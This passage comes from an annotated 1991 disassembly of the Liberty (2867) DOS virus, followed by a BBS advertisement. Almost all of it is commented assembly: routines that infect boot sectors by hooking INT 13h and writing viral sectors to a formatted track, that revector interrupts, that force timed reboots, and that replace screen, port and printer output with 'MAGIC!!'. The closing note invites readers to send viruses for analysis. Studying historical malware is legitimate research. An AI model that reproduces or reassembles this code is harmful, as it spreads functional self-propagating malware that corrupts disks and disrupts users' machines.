  632. CS:0710 5B            POP BX                                 
  633. CS:0711 58            POP AX                                 
  634. CS:0712 9D            POPF                                    
  635. CS:0713 EA00000000    JMP 0000:0000                          
  636. CS:0718 50            PUSH AX                                 
  637. CS:0719 53            PUSH BX                                 
  638. CS:071A 51            PUSH CX                                 
  639. CS:071B 52            PUSH DX                                 
  640. CS:071C 1E            PUSH DS                                 
  641. CS:071D 06            PUSH ES                                 
  642. CS:071E B80102        MOV AX,0201                ;
  643. CS:0721 0E            PUSH CS                    ;
  644. CS:0722 07            POP ES                     ;
  645. CS:0723 0E            PUSH CS                    ;
  646. CS:0724 1F            POP DS                     ;
  647. CS:0725 BB420C        MOV BX,0C42                ;
  648. CS:0728 B90100        MOV CX,0001                ;
  649. CS:072B 32F6          XOR DH,DH                  ;
  650. CS:072D 9C            PUSHF                      ;
  651. CS:072E 2E            CS:                        ;
  652. CS:072F FF1E1407      CALL FAR [0714]            ; Read Bootsector
  653. CS:0733 72D4          JB 0709                               
  654. CS:0735 0E            PUSH CS                                 
  655. CS:0736 1F            POP DS                                 
  656. CS:0737 0E            PUSH CS                                 
  657. CS:0738 07            POP ES                                 
  658. CS:0739 BE420C        MOV SI,0C42                ;
  659. CS:073C BF3506        MOV DI,0635                ;
  660. CS:073F B90A00        MOV CX,000A                ;
  661. CS:0742 FC            CLD                        ;
  662. CS:0743 F3            REPZ                       ;
  663. CS:0744 A7            CMPSW                      ; Check infection
  664. CS:0745 74C2          JZ 0709                               
  665. CS:0747 BE420C        MOV SI,0C42                            
  666. CS:074A 807C02FF      CMP BYTE PTR [SI+02],FF    ; Was infected ?
  667. CS:074E 744A          JZ 079A                               
  668. CS:0750 B0FF          MOV AL,FF                              
  669. CS:0752 884402        MOV [SI+02],AL                         
  670. CS:0755 B80905        MOV AX,0509                ;
  671. CS:0758 BBA607        MOV BX,07A6                ;
  672. CS:075B B93128        MOV CX,2831                ;
  673. CS:075E 9C            PUSHF                      ;
  674. CS:075F 2E            CS:                        ;
  675. CS:0760 FF1E1407      CALL FAR [0714]            ; Format track 40
  676. CS:0764 72A3          JB 0709                               
  677. CS:0766 B80103        MOV AX,0301                ;
  678. CS:0769 BB420C        MOV BX,0C42                ;
  679. CS:076C B93F28        MOV CX,283F                ;
  680. CS:076F 9C            PUSHF                      ;
  681. CS:0770 2E            CS:                        ;
  682. CS:0771 FF1E1407      CALL FAR [0714]            ; Write original bootsector
  683. CS:0775 7292          JB 0709                               
  684. CS:0777 B80103        MOV AX,0301                ;
  685. CS:077A BB3506        MOV BX,0635                ;
  686. CS:077D B90100        MOV CX,0001                ;
  687. CS:0780 9C            PUSHF                      ;
  688. CS:0781 2E            CS:                        ;
  689. CS:0782 FF1E1407      CALL FAR [0714]            ; Write Libery bootsector
  690. CS:0786 7281          JB 0709                               
  691. CS:0788 B80803        MOV AX,0308                ;
  692. CS:078B BB1001        MOV BX,0110                ;
  693. CS:078E B93128        MOV CX,2831                ;
  694. CS:0791 9C            PUSHF                      ;
  695. CS:0792 2E            CS:                        ;
  696. CS:0793 FF1E1407      CALL FAR [0714]            ; Write Liberty virus
  697. CS:0797 E96FFF        JMP 0709                               
  698. CS:079A 2E            CS:                        ;
  699. CS:079B C606100300    MOV BYTE PTR [0310],00     ;
  700. CS:07A0 E83B00        CALL 07DE                  ; Attach ???
  701. CS:07A3 E963FF        JMP 0709                               
  702. ;
  703. ; The format table is next
  704. ;
  705. DS:07A0                    28 00-31 02 28 00 32 02 28 00
  706. DS:07B0  33 02 28 00 34 02 28 00-35 02 28 00 36 02 28 00
  707. DS:07C0  37 02 28 00 38 02 28 00-3F 02
  708. ;
  709. ; Revectoring
  710. ;
  711. CS:07CA 33C0          XOR AX,AX
  712. CS:07CC 8ED8          MOV DS,AX                              
  713. CS:07CE FA            CLI                                    
  714. CS:07CF 2E            CS:                                    
  715. CS:07D0 A11407        MOV AX,[0714]                          
  716. CS:07D3 A34C00        MOV [004C],AX                          
  717. CS:07D6 2E            CS:                                    
  718. CS:07D7 A11607        MOV AX,[0716]                          
  719. CS:07DA A34E00        MOV [004E],AX                          
  720. CS:07DD C3            RET                                    
  721. CS:07DE 2E            CS:                                    
  722. CS:07DF A11407        MOV AX,[0714]                          
  723. CS:07E2 2E            CS:                                    
  724. CS:07E3 A30C03        MOV [030C],AX                          
  725. CS:07E6 2E            CS:                                    
  726. CS:07E7 A11607        MOV AX,[0716]                          
  727. CS:07EA 2E            CS:                                    
  728. CS:07EB A30E03        MOV [030E],AX                          
  729. CS:07EE B8F702        MOV AX,02F7                            
  730. CS:07F1 2E            CS:                                    
  731. CS:07F2 A31407        MOV [0714],AX                          
  732. CS:07F5 2E            CS:                                    
  733. CS:07F6 8C0E1607      MOV [0716],CS                          
  734. CS:07FA C3            RET
  735. ;
  736. ; Boot sectors are infected via vector 13h
  737. ;
  738. CS:07FB 9C            PUSHF                                    
  739. CS:07FC 80FC03        CMP AH,03                              
  740. CS:07FF 7213          JB 0814                               
  741. CS:0801 80FC05        CMP AH,05                              
  742. CS:0804 730E          JNB 0814                               
  743. CS:0806 80FA80        CMP DL,80                              
  744. CS:0809 720F          JB 081A                               
  745. CS:080B EB07          JMP 0814                               
  746. CS:080D 90            NOP                                    
  747. CS:080E 07            POP ES                                 
  748. CS:080F 1F            POP DS                                 
  749. CS:0810 5A            POP DX                                 
  750. CS:0811 59            POP CX                                 
  751. CS:0812 5B            POP BX                                 
  752. CS:0813 58            POP AX                                 
  753. CS:0814 9D            POPF                                    
  754. CS:0815 EA00000000    JMP 0000:0000                          
  755. CS:081A 50            PUSH AX                                 
  756. CS:081B 53            PUSH BX                                 
  757. CS:081C 51            PUSH CX                                 
  758. CS:081D 52            PUSH DX                                 
  759. CS:081E 1E            PUSH DS                                 
  760. CS:081F 06            PUSH ES                                 
  761. CS:0820 2E            CS:                                    
  762. CS:0821 803E0C0401    CMP BYTE PTR [040C],01                 
  763. CS:0826 74E6          JZ 080E                               
  764. CS:0828 B80102        MOV AX,0201                ;
  765. CS:082B 0E            PUSH CS                    ;
  766. CS:082C 07            POP ES                     ;
  767. CS:082D 0E            PUSH CS                    ;
  768. CS:082E 1F            POP DS                     ;
  769. CS:082F BB420C        MOV BX,0C42                ;
  770. CS:0832 B90100        MOV CX,0001                ;
  771. CS:0835 32F6          XOR DH,DH                  ;
  772. CS:0837 9C            PUSHF                      ;
  773. CS:0838 2E            CS:                        ;
  774. CS:0839 FF1E1608      CALL FAR [0816]            ; Read bootsector
  775. CS:083D 72CF          JB 080E                               
  776. CS:083F 0E            PUSH CS                                 
  777. CS:0840 1F            POP DS                                 
  778. CS:0841 0E            PUSH CS                                 
  779. CS:0842 07            POP ES                                 
  780. CS:0843 BE420C        MOV SI,0C42                ;
  781. CS:0846 BF3506        MOV DI,0635                ;
  782. CS:0849 B90A00        MOV CX,000A                ;
  783. CS:084C FC            CLD                        ;
  784. CS:084D F3            REPZ                       ;
  785. CS:084E A7            CMPSW                      ; Check infection
  786. CS:084F 74BD          JZ 080E                               
  787. CS:0851 B0FF          MOV AL,FF                              
  788. CS:0853 884702        MOV [BX+02],AL                         
  789. CS:0856 B80905        MOV AX,0509                ;
  790. CS:0859 BBA607        MOV BX,07A6                ;
  791. CS:085C B93128        MOV CX,2831                ;
  792. CS:085F 9C            PUSHF                      ;
  793. CS:0860 2E            CS:                        ;
  794. CS:0861 FF1E1608      CALL FAR [0816]            ; Format track 28
  795. CS:0865 72A7          JB 080E                               
  796. CS:0867 B80103        MOV AX,0301                ;
  797. CS:086A BB420C        MOV BX,0C42                ;
  798. CS:086D B93F28        MOV CX,283F                ;
  799. CS:0870 9C            PUSHF                      ;
  800. CS:0871 2E            CS:                        ;
  801. CS:0872 FF1E1608      CALL FAR [0816]            ; Write original bootsector
  802. CS:0876 7296          JB 080E                               
  803. CS:0878 B80103        MOV AX,0301                ;
  804. CS:087B BB3506        MOV BX,0635                ;
  805. CS:087E B90100        MOV CX,0001                ;
  806. CS:0881 9C            PUSHF                      ;
  807. CS:0882 2E            CS:                        ;
  808. CS:0883 FF1E1608      CALL FAR [0816]            ; Write Liberty bootsector
  809. CS:0887 7285          JB 080E                               
  810. CS:0889 B80803        MOV AX,0308                ;
  811. CS:088C BB1001        MOV BX,0110                ;
  812. CS:088F B93128        MOV CX,2831                ;
  813. CS:0892 9C            PUSHF                      ;
  814. CS:0893 2E            CS:                        ;
  815. CS:0894 FF1E1608      CALL FAR [0816]            ; Write Liberty bootsector
  816. CS:0898 E973FF        JMP 080E                               
  817. CS:089B 9C            PUSHF                                    
  818. CS:089C 50            PUSH AX                                 
  819. CS:089D 1E            PUSH DS                                 
  820. CS:089E 33C0          XOR AX,AX                              
  821. CS:08A0 8ED8          MOV DS,AX                              
  822. CS:08A2 833E860000    CMP WORD PTR [0086],+00    ;
  823. CS:08A7 750F          JNZ 08B8                   ; Check if DOS is installed
  824. CS:08A9 833E840000    CMP WORD PTR [0084],+00    ;
  825. CS:08AE 7508          JNZ 08B8                               
  826. CS:08B0 1F            POP DS                                 
  827. CS:08B1 58            POP AX                                 
  828. CS:08B2 9D            POPF                                    
  829. CS:08B3 EA00000000    JMP 0000:0000                          
  830. CS:08B8 06            PUSH ES                                 
  831. CS:08B9 0E            PUSH CS                                 
  832. CS:08BA 07            POP ES                                 
  833. CS:08BB E8C3F9        CALL 0281                  ; Get vector 21h
  834. CS:08BE E8F1F9        CALL 02B2                  ; Set vector 21h
  835. CS:08C1 E82000        CALL 08E4                  ; Disconnect vector 8h
  836. CS:08C4 E8FBF9        CALL 02C2                  ; Set installation flag
  837. CS:08C7 07            POP ES                                 
  838. CS:08C8 EBE6          JMP 08B0
  839. ;
  840. ; Revectoring
  841. ;
  842. CS:08CA A12000        MOV AX,[0020]                          
  843. CS:08CD 2E            CS:                                    
  844. CS:08CE A3B408        MOV [08B4],AX                          
  845. CS:08D1 A12200        MOV AX,[0022]                          
  846. CS:08D4 2E            CS:                                    
  847. CS:08D5 A3B608        MOV [08B6],AX                          
  848. CS:08D8 B89B08        MOV AX,089B                            
  849. CS:08DB FA            CLI                                    
  850. CS:08DC A32000        MOV [0020],AX                          
  851. CS:08DF 8C0E2200      MOV [0022],CS                          
  852. CS:08E3 C3            RET                                    
  853. CS:08E4 33C0          XOR AX,AX                              
  854. CS:08E6 8ED8          MOV DS,AX                              
  855. CS:08E8 FA            CLI                                    
  856. CS:08E9 2E            CS:                                    
  857. CS:08EA A1B408        MOV AX,[08B4]                          
  858. CS:08ED A32000        MOV [0020],AX                          
  859. CS:08F0 2E            CS:                                    
  860. CS:08F1 A1B608        MOV AX,[08B6]                          
  861. CS:08F4 A32200        MOV [0022],AX                          
  862. CS:08F7 C3            RET                                    
  863. CS:08F8 A17000        MOV AX,[0070]                          
  864. CS:08FB 2E            CS:                                    
  865. CS:08FC A3900A        MOV [0A90],AX                          
  866. CS:08FF A17200        MOV AX,[0072]                          
  867. CS:0902 2E            CS:                                    
  868. CS:0903 A3920A        MOV [0A92],AX                          
  869. CS:0906 B8580A        MOV AX,0A58                            
  870. CS:0909 FA            CLI                                    
  871. CS:090A A37000        MOV [0070],AX                          
  872. CS:090D 8C0E7200      MOV [0072],CS                          
  873. CS:0911 C3            RET
  874. ;
  875. ; The next routine displays 'M A G I C   ! !' on the screen for a second
  876. ;
  877. CS:0912 50            PUSH AX                                 
  878. CS:0913 53            PUSH BX                                 
  879. CS:0914 51            PUSH CX                                 
  880. CS:0915 52            PUSH DX                                 
  881. CS:0916 56            PUSH SI                                 
  882. CS:0917 57            PUSH DI                                 
  883. CS:0918 1E            PUSH DS                                 
  884. CS:0919 06            PUSH ES                                 
  885. CS:091A 9C            PUSHF                                    
  886. CS:091B BB00B8        MOV BX,B800                ;
  887. CS:091E 8EDB          MOV DS,BX                  ;
  888. CS:0920 0E            PUSH CS                    ;
  889. CS:0921 07            POP ES                     ;
  890. CS:0922 33F6          XOR SI,SI                  ;
  891. CS:0924 BF6809        MOV DI,0968                ;
  892. CS:0927 B9A000        MOV CX,00A0                ;
  893. CS:092A F3            REPZ                       ;
  894. CS:092B A4            MOVSB                      ; Save screen
  895. CS:092C BB00B8        MOV BX,B800                ;
  896. CS:092F 8EC3          MOV ES,BX                  ;
  897. CS:0931 0E            PUSH CS                    ;
  898. CS:0932 1F            POP DS                     ;
  899. CS:0933 33FF          XOR DI,DI                  ;
  900. CS:0935 BB080A        MOV BX,0A08                ;
  901. CS:0938 B95000        MOV CX,0050                ;
  902. CS:093B B6CE          MOV DH,CE                  ;
  903. CS:093D 8A17          MOV DL,[BX]                ;
  904. CS:093F 80EA03        SUB DL,03                  ;
  905. CS:0942 26            ES:                        ;
  906. CS:0943 8915          MOV [DI],DX                ;
  907. CS:0945 47            INC DI                     ;
  908. CS:0946 47            INC DI                     ;
  909. CS:0947 43            INC BX                     ;
  910. CS:0948 E2F3          LOOP 093D                  ; Put text on screen
  911. CS:094A E2FE          LOOP 094A                  ; Wait
  912. CS:094C BB00B8        MOV BX,B800                ;
  913. CS:094F 8EC3          MOV ES,BX                  ;
  914. CS:0951 0E            PUSH CS                    ;
  915. CS:0952 1F            POP DS                     ;
  916. CS:0953 33FF          XOR DI,DI                  ;
  917. CS:0955 BE6809        MOV SI,0968                ;
  918. CS:0958 B9A000        MOV CX,00A0                ;
  919. CS:095B F3            REPZ                       ;
  920. CS:095C A4            MOVSB                      ; Restore screen
  921. CS:095D 9D            POPF                                    
  922. CS:095E 07            POP ES                                 
  923. CS:095F 1F            POP DS                                 
  924. CS:0960 5F            POP DI                                 
  925. CS:0961 5E            POP SI                                 
  926. CS:0962 5A            POP DX                                 
  927. CS:0963 59            POP CX                                 
  928. CS:0964 5B            POP BX                                 
  929. CS:0965 58            POP AX                                 
  930. CS:0966 C3            RET                                    
  931. ;
  932. ; A temporary screen buffer
  933. ;
  934. DS:0960                          4D 41 47 49 43 4D 41 47
  935. DS:0970  49 43 4D 41 47 49 43 4D-41 47 49 43 4D 41 47 49
  936. DS:0980  43 4D 41 47 49 43 4D 41-47 49 43 4D 41 47 49 43
  937. DS:0990  4D 41 47 49 43 4D 41 47-49 43 4D 41 47 49 43 4D
  938. DS:09A0  41 47 49 43 4D 41 47 49-43 4D 41 47 49 43 4D 41
  939. DS:09B0  47 49 43 4D 41 47 49 43-4D 41 47 49 43 4D 41 47
  940. DS:09C0  49 43 4D 41 47 49 43 4D-41 47 49 43 4D 41 47 49
  941. DS:09D0  43 4D 41 47 49 43 4D 41-47 49 43 4D 41 47 49 43
  942. DS:09E0  4D 41 47 49 43 4D 41 47-49 43 4D 41 47 49 43 4D
  943. DS:09F0  41 47 49 43 4D 41 47 49-43 4D 41 47 49 43 4D 41
  944. DS:0A00  47 49 43 4D 41 47 49 43
  945. ;
  946. ; The encrypted text 'M A G I C   ! !'
  947. ;
  948. DS:0A00                          23 23 23 23 23 23 23 23
  949. DS:0A10  23 23 23 23 23 23 23 23-23 23 23 23 23 23 23 23
  950. DS:0A20  23 23 23 23 23 23 23 23-23 23 23 23 23 23 23 23
  951. DS:0A30  23 23 23 23 23 23 23 23-23 23 50 23 44 23 4A 23
  952. DS:0A40  4C 23 46 23 23 24 23 24-23 24 23 23 23 23 23 23
  953. DS:0A50  23 23 23 23 23 23 23 23
  954. ;
  955. ; The next routine is the timer routine. It activates all the gadgets.
  956. ;
  957. CS:0A58 9C            PUSHF 
  958. CS:0A59 50            PUSH AX                                 
  959. CS:0A5A 1E            PUSH DS                                 
  960. CS:0A5B 2E            CS:                                    
  961. CS:0A5C FF06940A      INC WORD PTR [0A94]                    
  962. CS:0A60 2E            CS:                                    
  963. CS:0A61 833E960A0B    CMP WORD PTR [0A96],+0B    ; Time for a reboot ?
  964. CS:0A66 7433          JZ 0A9B                               
  965. CS:0A68 2E            CS:                                    
  966. CS:0A69 A1980A        MOV AX,[0A98]                          
  967. CS:0A6C 2E            CS:                                    
  968. CS:0A6D 3906940A      CMP [0A94],AX              ; Time for gadgets on ?
  969. CS:0A71 7430          JZ 0AA3                               
  970. CS:0A73 7217          JB 0A8C                               
  971. CS:0A75 050002        ADD AX,0200                            
  972. CS:0A78 2E            CS:                                    
  973. CS:0A79 3906940A      CMP [0A94],AX              ; Time for gadgets off ?
  974. CS:0A7D 7446          JZ 0AC5                               
  975. CS:0A7F 770B          JA 0A8C                               
  976. CS:0A81 2E            CS:                                    
  977. CS:0A82 833E960A0A    CMP WORD PTR [0A96],+0A    ; Time for screen messing ?
  978. CS:0A87 7503          JNZ 0A8C                               
  979. CS:0A89 E886FE        CALL 0912                  ; Mess up screen
  980. CS:0A8C 1F            POP DS                                 
  981. CS:0A8D 58            POP AX                                 
  982. CS:0A8E 9D            POPF                                    
  983. CS:0A8F EA00000000    JMP 0000:0000              ; Continue
  984. CS:0A9B B8FFFF        MOV AX,FFFF
  985. CS:0A9E 50            PUSH AX                                 
  986. CS:0A9F 33C0          XOR AX,AX                              
  987. CS:0AA1 50            PUSH AX                                 
  988. CS:0AA2 CB            RETF                                    
  989. CS:0AA3 2E            CS:                                    
  990. CS:0AA4 812E980A5001  SUB WORD PTR [0A98],0150               
  991. CS:0AAA 33C0          XOR AX,AX                              
  992. CS:0AAC 8ED8          MOV DS,AX                              
  993. CS:0AAE 2E            CS:                                    
  994. CS:0AAF C606470B00    MOV BYTE PTR [0B47],00                 
  995. CS:0AB4 90            NOP                                    
  996. CS:0AB5 2E            CS:                                    
  997. CS:0AB6 C606950B00    MOV BYTE PTR [0B95],00                 
  998. CS:0ABB 90            NOP                                    
  999. CS:0ABC 2E            CS:                                    
  1000. CS:0ABD C606080C00    MOV BYTE PTR [0C08],00                 
  1001. CS:0AC2 90            NOP                                    
  1002. CS:0AC3 EBC7          JMP 0A8C                               
  1003. CS:0AC5 2E            CS:                                    
  1004. CS:0AC6 C606470BFF    MOV BYTE PTR [0B47],FF                 
  1005. CS:0ACB 90            NOP                                    
  1006. CS:0ACC 2E            CS:                                    
  1007. CS:0ACD C606950BFF    MOV BYTE PTR [0B95],FF                 
  1008. CS:0AD2 90            NOP                                    
  1009. CS:0AD3 2E            CS:                                    
  1010. CS:0AD4 C606080CFF    MOV BYTE PTR [0C08],FF                 
  1011. CS:0AD9 90            NOP                                    
  1012. CS:0ADA 2E            CS:                                    
  1013. CS:0ADB C706940A0000  MOV WORD PTR [0A94],0000               
  1014. CS:0AE1 2E            CS:                                    
  1015. CS:0AE2 FF06960A      INC WORD PTR [0A96]                    
  1016. CS:0AE6 EBA4          JMP 0A8C                               
  1017. CS:0AE8 A14000        MOV AX,[0040]                          
  1018. CS:0AEB 2E            CS:                                    
  1019. CS:0AEC A3430B        MOV [0B43],AX                          
  1020. CS:0AEF A14200        MOV AX,[0042]                          
  1021. CS:0AF2 2E            CS:                                    
  1022. CS:0AF3 A3450B        MOV [0B45],AX                          
  1023. CS:0AF6 B8360B        MOV AX,0B36                            
  1024. CS:0AF9 FA            CLI                                    
  1025. CS:0AFA A34000        MOV [0040],AX                          
  1026. CS:0AFD 8C0E4200      MOV [0042],CS                          
  1027. CS:0B01 C3            RET                                    
  1028. CS:0B02 FA            CLI                                    
  1029. CS:0B03 A15000        MOV AX,[0050]                          
  1030. CS:0B06 2E            CS:                                    
  1031. CS:0B07 A3910B        MOV [0B91],AX                          
  1032. CS:0B0A A15200        MOV AX,[0052]                          
  1033. CS:0B0D 2E            CS:                                    
  1034. CS:0B0E A3930B        MOV [0B93],AX                          
  1035. CS:0B11 B8840B        MOV AX,0B84                            
  1036. CS:0B14 A35000        MOV [0050],AX                          
  1037. CS:0B17 8C0E5200      MOV [0052],CS                          
  1038. CS:0B1B C3            RET                                    
  1039. CS:0B1C FA            CLI                                    
  1040. CS:0B1D A15C00        MOV AX,[005C]                          
  1041. CS:0B20 2E            CS:                                    
  1042. CS:0B21 A3040C        MOV [0C04],AX                          
  1043. CS:0B24 A15E00        MOV AX,[005E]                          
  1044. CS:0B27 2E            CS:                                    
  1045. CS:0B28 A3060C        MOV [0C06],AX                          
  1046. CS:0B2B B8FC0B        MOV AX,0BFC                            
  1047. CS:0B2E A35C00        MOV [005C],AX                          
  1048. CS:0B31 8C0E5E00      MOV [005E],CS
  1049. CS:0B35 C3            RET
  1050. ;
  1051. ; Now the gadgets' routines. When activated, only the word MAGIC!! will be
  1052. ; sent to screen, port, and printer.
  1053. ;
  1054. CS:0B36 9C            PUSHF                      ; Screen
  1055. CS:0B37 80FC09        CMP AH,09                              
  1056. CS:0B3A 740F          JZ 0B4B                               
  1057. CS:0B3C 80FC0A        CMP AH,0A                              
  1058. CS:0B3F 740A          JZ 0B4B                               
  1059. CS:0B41 9D            POPF                                    
  1060. CS:0B42 EA00000000    JMP 0000:0000                          
  1061. CS:0B4B 2E            CS: 
  1062. CS:0B4C 803E470BFF    CMP BYTE PTR [0B47],FF                 
  1063. CS:0B51 74EE          JZ 0B41                               
  1064. CS:0B53 53            PUSH BX                                 
  1065. CS:0B54 56            PUSH SI                                 
  1066. CS:0B55 50            PUSH AX                                 
  1067. CS:0B56 33DB          XOR BX,BX                              
  1068. CS:0B58 2E            CS:                                    
  1069. CS:0B59 833E480B07    CMP WORD PTR [0B48],+07                
  1070. CS:0B5E 7507          JNZ 0B67                               
  1071. CS:0B60 2E            CS:                                    
  1072. CS:0B61 C706480B0000  MOV WORD PTR [0B48],0000               
  1073. CS:0B67 2E            CS:                                    
  1074. CS:0B68 8B1E480B      MOV BX,[0B48]                          
  1075. CS:0B6C 2E            CS:                                    
  1076. CS:0B6D 8B3E480B      MOV DI,[0B48]                          
  1077. CS:0B71 47            INC DI                                 
  1078. CS:0B72 2E            CS:                                    
  1079. CS:0B73 893E480B      MOV [0B48],DI                          
  1080. CS:0B77 BE3B0C        MOV SI,0C3B                            
  1081. CS:0B7A 58            POP AX                                 
  1082. CS:0B7B 2E            CS:                                    
  1083. CS:0B7C 8A00          MOV AL,[BX+SI]                         
  1084. CS:0B7E FEC0          INC AL                                 
  1085. CS:0B80 5E            POP SI                                 
  1086. CS:0B81 5B            POP BX                                 
  1087. CS:0B82 EBBD          JMP 0B41                               
  1088. CS:0B84 9C            PUSHF                      ; Port
  1089. CS:0B85 80FC01        CMP AH,01                              
  1090. CS:0B88 740D          JZ 0B97                               
  1091. CS:0B8A 80FC02        CMP AH,02                              
  1092. CS:0B8D 7436          JZ 0BC5                               
  1093. CS:0B8F 9D            POPF                                    
  1094. CS:0B90 EA00000000    JMP 0000:0000                          
  1095. CS:0B97 2E            CS: 
  1096. CS:0B98 803E950BFF    CMP BYTE PTR [0B95],FF                 
  1097. CS:0B9D 74F0          JZ 0B8F                               
  1098. CS:0B9F 53            PUSH BX                                 
  1099. CS:0BA0 56            PUSH SI                                 
  1100. CS:0BA1 33DB          XOR BX,BX                              
  1101. CS:0BA3 2E            CS:                                    
  1102. CS:0BA4 8A1E960B      MOV BL,[0B96]                          
  1103. CS:0BA8 BE3B0C        MOV SI,0C3B                            
  1104. CS:0BAB 2E            CS:                                    
  1105. CS:0BAC 8A00          MOV AL,[BX+SI]                         
  1106. CS:0BAE 2E            CS:                                    
  1107. CS:0BAF FE06960B      INC BYTE PTR [0B96]                    
  1108. CS:0BB3 2E            CS:                                    
  1109. CS:0BB4 803E960B07    CMP BYTE PTR [0B96],07                 
  1110. CS:0BB9 7506          JNZ 0BC1                               
  1111. CS:0BBB 2E            CS:                                    
  1112. CS:0BBC C606960B00    MOV BYTE PTR [0B96],00                 
  1113. CS:0BC1 5E            POP SI                                 
  1114. CS:0BC2 5B            POP BX                                 
  1115. CS:0BC3 EBCA          JMP 0B8F                               
  1116. CS:0BC5 2E            CS:                                    
  1117. CS:0BC6 803E950BFF    CMP BYTE PTR [0B95],FF                 
  1118. CS:0BCB 74C2          JZ 0B8F                               
  1119. CS:0BCD 2E            CS:                                    
  1120. CS:0BCE FF1E910B      CALL FAR [0B91]                         
  1121. CS:0BD2 80FC00        CMP AH,00                              
  1122. CS:0BD5 7F24          JG 0BFB                               
  1123. CS:0BD7 53            PUSH BX                                 
  1124. CS:0BD8 56            PUSH SI                                 
  1125. CS:0BD9 33DB          XOR BX,BX                              
  1126. CS:0BDB 2E            CS:                                    
  1127. CS:0BDC 8A1E960B      MOV BL,[0B96]                          
  1128. CS:0BE0 BE3B0C        MOV SI,0C3B                            
  1129. CS:0BE3 2E            CS:                                    
  1130. CS:0BE4 8A00          MOV AL,[BX+SI]                         
  1131. CS:0BE6 2E            CS:                                    
  1132. CS:0BE7 FE06960B      INC BYTE PTR [0B96]                    
  1133. CS:0BEB 2E            CS:                                    
  1134. CS:0BEC 803E960B07    CMP BYTE PTR [0B96],07                 
  1135. CS:0BF1 7506          JNZ 0BF9                               
  1136. CS:0BF3 2E            CS:                                    
  1137. CS:0BF4 C606960B00    MOV BYTE PTR [0B96],00                 
  1138. CS:0BF9 5E            POP SI                                 
  1139. CS:0BFA 5B            POP BX                                 
  1140. CS:0BFB CF            IRET                                    
  1141. CS:0BFC 9C            PUSHF                      ; Printer
  1142. CS:0BFD 80FC00        CMP AH,00                              
  1143. CS:0C00 7407          JZ 0C09                               
  1144. CS:0C02 9D            POPF                                    
  1145. CS:0C03 EA00000000    JMP 0000:0000                          
  1146. CS:0C09 2E            CS: 
  1147. CS:0C0A 803E080CFF    CMP BYTE PTR [0C08],FF                 
  1148. CS:0C0F 74F1          JZ 0C02                               
  1149. CS:0C11 53            PUSH BX                                 
  1150. CS:0C12 56            PUSH SI                                 
  1151. CS:0C13 33DB          XOR BX,BX                              
  1152. CS:0C15 2E            CS:                                    
  1153. CS:0C16 8A1E3A0C      MOV BL,[0C3A]                          
  1154. CS:0C1A BE3B0C        MOV SI,0C3B                            
  1155. CS:0C1D 2E            CS:                                    
  1156. CS:0C1E 8A00          MOV AL,[BX+SI]                         
  1157. CS:0C20 FEC0          INC AL                                 
  1158. CS:0C22 2E            CS:                                    
  1159. CS:0C23 FE063A0C      INC BYTE PTR [0C3A]                    
  1160. CS:0C27 2E            CS:                                    
  1161. CS:0C28 803E3A0C07    CMP BYTE PTR [0C3A],07                 
  1162. CS:0C2D 7507          JNZ 0C36                               
  1163. CS:0C2F 2E            CS:                                    
  1164. CS:0C30 C6063A0C00    MOV BYTE PTR [0C3A],00                 
  1165. CS:0C35 90            NOP                                    
  1166. CS:0C36 5E            POP SI                                 
  1167. CS:0C37 5B            POP BX                                 
  1168. CS:0C38 EBC8          JMP 0C02                               
  1169. ;
  1170. ; The encrypted text 'MAGIC!!'
  1171. ;
  1172. DS:0C3A               4C 40 46 48 42 20 20
  1173. ;
  1174. ; Important note:
  1175. ; When there is no longer space on the disk to infect a file, the Liberty
  1176. ; virus will infect the bootsector. This is done in the 'OHIO' way.
  1177. ;
  1178. ;
  1179. ;
  1180. ; End of Liberty (2867) disassembly. (c) 1991 by Remco van Helvoort.
  1181. ; This document may be freely shared. If you have any comments or some
  1182. ; nice little viruses for analysis, feel free to drop me a note.
  1183. ;
  1184. ; Remco van Helvoort
  1185. ; Bredastraat 3
  1186. ; 5224 VD 's-Hertogenbosch
  1187. ; Holland
  1188. ;
  1189. 
  1190. ; ─────────────────────────────────────────────────────────────────────────
  1191. ; ────────────────────> and Remember Don't Forget to Call <────────────────
  1192. ; ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  1193. ; ─────────────────────────────────────────────────────────────────────────
  1194.  
  1195.